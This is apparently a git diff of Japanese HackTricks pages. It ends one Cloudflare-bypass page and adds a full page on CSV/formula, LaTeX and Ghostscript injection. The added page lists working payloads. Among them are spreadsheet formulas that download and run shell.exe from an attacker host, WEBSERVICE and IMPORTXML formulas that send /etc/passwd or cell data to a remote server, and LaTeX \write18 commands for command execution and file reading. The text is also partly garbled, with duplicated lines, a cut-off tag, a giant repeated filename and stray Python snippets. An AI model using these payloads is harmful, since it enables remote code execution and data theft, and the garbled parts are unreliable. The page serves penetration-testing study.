このメカニズムは、**クライアント**の[**SSL証明書**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/)を使用して、**Cloudflareのリバースプロキシ**サーバーと**オリジン**サーバーの間の接続を認証するために依存しています。これは**mTLS**と呼ばれます。
顧客は、独自の証明書を設定する代わりに、Cloudflareの証明書を使用して、Cloudflareからの接続を許可することができます。**テナントに関係なく**、Cloudflareからの接続を許可します。
{% hint style="danger" %}
したがって、攻撃者は、Cloudflareの証明書を使用して**ドメインを設定し、それを被害者のドメインのIPアドレスに向ける**ことができます。これにより、攻撃者のドメインは完全に保護されず、Cloudflareは送信されたリクエストを保護しません。
{% endhint %}
詳細は[**こちら**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)を参照してください。
### CloudflareのIPアドレスを許可する
これにより、CloudflareのIPアドレス範囲から発信されない接続は拒否されます。これも、攻撃者が自分のドメインをCloudflareに向けて**被害者のIPアドレスに向ける**前の設定に対して脆弱です。
詳細は[**こちら**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)を参照してください。
## スクレイピングのためのCloudflareバイパス
### キャッシュ
時には、ウェブページのスクレイピングだけを行うためにCloudflareをバイパスしたい場合があります。以下のオプションがあります。
時には、Cloudflareをバイパスしてウェブページをスクレイピングしたいだけです。これにはいくつかのオプションがあります。
* Googleキャッシュを使用する`https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* [https://archive.org/web/](https://archive.org/web/)などの他のキャッシュサービスを使用する
@ -90,29 +110,29 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### 強化されたヘッドレスブラウザ <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
もうつのオプションは、実際のユーザーのブラウザのように見えるように強化されたヘッドレスブラウザを使用して、完全なスクレイピング作業を行うことです。
もう1つのオプションは、実際のユーザーのブラウザのように見えるように強化されたヘッドレスブラウザを使用して、スクレイピングのジョブ全体を実行することです。
* **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)の[stealthプラグイン](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth)
* **Playwright:** [Playwright](https://github.com/microsoft/playwright)には[stealthプラグイン](https://www.npmjs.com/package/playwright-stealth)が近日中に追加される予定です。開発の進捗は[こちら](https://github.com/berstend/puppeteer-extra/issues/454)と[こちら](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)で確認できます。
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver)は最適化されたSelenium Chromedriverパッチです。
### Cloudflare組み込みバイパススマートプロキシ <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
### Cloudflare組み込みバイパスを備えたスマートプロキシ <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
オープンソースのCloudflareバイパスを使用する代わりに、独自のプライベートCloudflareバイパスを開発および維持するスマートプロキシを使用する方法もあります。
オープンソースのCloudflareバイパスを使用する代わりに、独自のプライベートCloudflareバイパスを開発および維持するスマートプロキシを使用することもできます。
これらは通常、Cloudflareがそれらに対してパッチを開発するのが難しいため、信頼性が高く、Cloudflareよりも1歩先を行くために財務的な動機を持つプロキシ会社によって開発されています。
これらは通常、Cloudflareがそれらに対してパッチを開発するのが難しいため、信頼性が高く、Cloudflareよりも1ステップ先を行くために財務的な動機を持つプロキシ会社によって開発されます。バイパスが機能しなくなった瞬間に修正します。
ほとんどのスマートプロキシプロバイダー([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)、[Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)、[Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)、[Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)には、さまざまな程度で動作するCloudflareバイパスがあります。
ほとんどのスマートプロキシプロバイダー([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)、[Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)、[Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)、[Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)には、さまざまな程度で動作するCloudflareバイパスの形式があります。
ただし、最も優れたオプションの1つは、[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/)を使用することです。これは20以上のプロキシプロバイダーを同じプロキシAPIに統合し、対象ドメインに対して最適で最も安価なプロキシプロバイダーを見つけます。
ただし、最も優れたオプションの1つは、[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/)を使用することです。これは20以上のプロキシプロバイダーを同じプロキシAPIに統合し、ターゲットドメインに対して最適/最も安価なプロキシプロバイダーを見つけます。
### Cloudflareのアンチボット保護のリバースエンジニアリング <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
### Cloudflareのアンチボット保護をリバースエンジニアリングする <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
このアプローチは機能します(多くのスマートプロキシソリューションが行っている方法です)、ただし、初心者向けではありません。
**利点:** このアプローチの利点は、大規模なスクレイピングを行い、数百(もしくは数千)の高コストなフルヘッドレスブラウザインスタンスを実行したくない場合、CloudflareのJS、TLS、IPフィンガープリントテストをパスするために最もリソース効率の良いCloudflareバイパスを開発できることです。
**利点:** このアプローチの利点は、大規模なスクレイピングを行い、数百(もしくは数千)の高コストなフルヘッドレスブラウザインスタンスを実行したくない場合です。代わりに、CloudflareのJS、TLS、およびIPの指紋テストをパスするために最もリソース効率の良いCloudflareバイパスを開発できす。
**欠点:** このアプローチの欠点は、外部から理解するのが困難になるように意図的に作られたアンチボットシステムに深く入り込み、検証システムを騙すための異なるテクニックを試し、Cloudflareがアンチボット保護を開発し続けるにつれて、このシステムを維持する必要があるということです。
**欠点:** このアプローチの欠点は、外部から理解するのが困難になっているアンチボットシステムに深く入り込み、検証システムを騙すための異なるテクニックを分割テストする必要があることです。その後、Cloudflareがアンチボット保護を開発し続けるにつれて、このシステムを維持する必要があります。
## 参考文献
@ -120,12 +140,8 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
<summary><a href="https://cloud.h
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>

View file

@ -0,0 +1,265 @@
# フォーミュラ/CSV/ドキュメント/LaTeX/GhostScriptインジェクション
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## フォーミュラインジェクション
### 情報
もし、**入力**が**CSVファイル**またはExcelで開かれる可能性のある他のファイルに**反映**されている場合、Excelシート内のユーザーが**ファイルを開いたり、リンクをクリックしたり**すると、Excel **フォーミュラ**を実行することができるかもしれません。
{% hint style="danger" %}
現在、**Excelは外部からの読み込みを警告**(何度も)し、悪意のある行動を防ぐためにユーザーに警告します。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。
{% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### ハイパーリンク
**次の例は、最終的なExcelシートからコンテンツを外部流出させ、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックするおよび警告プロンプトを受け入れる必要があります。**
例は[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)から取得されました。
学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。\
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
攻撃者のWebサーバーには、学生の詳細がログインされています。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
この例が動作するには、次の設定を有効にする必要があります:\
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする\
または、**古いバージョンのExcel**を使用します。
良いニュースは、**このペイロードはファイルが開かれると自動的に実行される**ことです(ユーザーが警告を受け入れる場合)。
次のペイロードで電卓を実行することが可能です **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* ローカルの/etc/passwdファイルから1行目を読み取ります`='file:///etc/passwd'#$passwd.A1`
* エクスフィルトします:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 複数の行をエクスフィルトします:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNSエクスフィルト`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**DNSエクスフィルトペイロードの解析**
* file:///etc/passwd#$passwd.A19 ローカルの/etc/passwdファイルから19行目を読み取ります
* ENCODEURL(file:///etc/passwd#$passwd.A19) 返されたデータをURLエンコードします
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字であり、ラベルサブドメインの文字数制限は63文字です
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる
* WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威ある名前サーバー上のログを解析したりまたはtcpdumpなどを実行したりします。この名前サーバーは私たちが制御しています
### Google Sheets OOBデータエクスフィルト
まず、いくつかの興味深い関数を紹介しましょう。
**CONCATENATE**: 文字列を連結します。
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: RSSまたはATOMフィードをインポートします。
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: HTMLページ内のテーブルやリストからデータをインポートします。
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: 指定されたスプレッドシートからセルの範囲をインポートします。
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**画像**: セルに画像を挿入します。
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## LaTeXインジェクション
通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**`pdflatex`**を使用しています。\
このプログラムは、コマンドの実行を無効に許可するために3つの主要な属性を使用します。
* **`--no-shell-escape`**: `\write18{command}`構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。
* **`--shell-restricted`**: `--shell-escape`と同じですが、'安全な'事前定義のコマンドのセットに**制限**されますUbuntu 16.04では、リストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
* **`--shell-escape`**: `\write18{command}`構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行する他の方法もありますので、RCEを回避するためには`--shell-restricted`を使用することが非常に重要です。
### ファイルの読み取り <a href="#read-file" id="read-file"></a>
\[や$などのラッパーを使用してインジェクションを調整する必要がある場合があります。
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 1行のファイルを読む
```python
def read_file(file_path):
with open(file_path, 'r') as file:
content = file.readline()
return content
```
この関数は、指定されたファイルパスのファイルを開き、1行だけ読み込んで返します。
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 複数行のファイルを読む
```python
def read_file(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
```
この関数は、指定されたファイルパスのファイルを読み込み、複数行の内容を表示します。
```python
read_file('file.txt')
```
上記のコードは、`file.txt`というファイルの内容を読み込み、各行を表示します。
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### ファイルの書き込み <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### コマンドの実行 <a href="#command-execution" id="command-execution"></a>
コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
もしLaTexのエラーが発生した場合は、ベース64を使用して結果を取得し、不正な文字を排除してください。
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)からの情報です。
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscriptインジェクション
TODO: [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)から、より関連性の高い情報と技術を含む要約を作成する。
## 参考文献
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行うために、最も重要な脆弱性を見つけます。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
@ -119,7 +119,7 @@ Webサーバーが提供するHTTPヘッダーによって、いくつかの脆
ユーザーがユーザーがアップロードしたファイルまたは自動生成されたファイルを開くと、コンプロマイズされる可能性があります。
